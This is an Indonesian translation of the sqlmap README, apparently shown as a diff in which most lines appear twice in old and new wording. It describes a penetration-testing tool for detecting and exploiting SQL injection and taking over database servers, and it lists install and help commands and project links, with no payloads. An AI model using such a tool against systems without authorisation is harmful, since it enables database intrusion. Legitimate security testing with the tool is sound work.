sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar
----
![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
Instalasi
----
Anda dapat mengunduh tarball versi terbaru [di sini]
(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
Penggunaan
----
Untuk mendapatkan daftar opsi dasar gunakan:
Untuk mendapatkan daftar opsi dasar gunakan perintah:
python sqlmap.py -h
Untuk mendapatkan daftar opsi lanjut gunakan:
Untuk mendapatkan daftar opsi lanjutan gunakan perintah:
python sqlmap.py -hh
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Tautan
----
* Situs: http://sqlmap.org
* Situs: https://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Arena latihan: https://sekumart.sekuripy.hr
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

Some files were not shown because too many files have changed in this diff Show More